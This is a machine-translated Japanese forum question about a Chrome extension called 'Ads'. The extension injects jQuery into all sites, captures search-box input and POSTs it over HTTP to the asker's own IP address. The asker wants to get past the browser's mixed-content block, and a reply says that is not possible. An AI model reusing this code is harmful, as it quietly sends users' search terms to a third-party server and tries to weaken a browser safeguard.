こんにちは、私はGoogleのChrome拡張機能により、HTTPサイトへのHTTPSサイトからのリクエストを送信することに奇妙な問題を抱えていますすべての...Chromeの拡張機能からHTTPSからHTTPに要求を送信する
jquery.js:6混在したコンテンツ: 'https://www.google.co.in/webhp?hl=en'のページがHTTPS経由でロードされましたが、安全でないXMLHttpRequestエンドポイント 'http://ip/stats/search.php?keywords=apple'が要求されました。このリクエストはブロックされました。 HTTPS経由でコンテンツを配信する必要があります。
これはサイトに注入された私のコードです...
$(document).ready(function(){
$('input[name=q]').keydown(function(e) {
if (e.keyCode == 13) {
v = $(this).val();
v=encodeURI(v);
$.ajax({
type: 'POST',
url: 'http://myipaddress/stats/search.php?keywords='+v,
data:{'search':v},
success: function(data){
//something....
}
});
}
});
});
manifest.jsonを
{
"name": "Ads",
"version": "0.0.1",
"manifest_version": 2,
"description": "Injecting stuff",
"background":
{
"scripts": ["jquery.js","background.js"]
},
"browser_action": {
"default_title": "Inject!"
},
"permissions": [
"https://*/*",
"http://*/*",
"tabs"
],"content_scripts" : [
{
"js": ["jquery.js", "inject.js"],
"matches": ["*://*/*"]
}
]
}
スレッドはあまり助けにはなりませんでしたが、まだおかしくなりました...この問題を解決できるものはありますか? – Lisa
@Lisa残念ながら、いいえ。その周りには道はない。 – cyberbit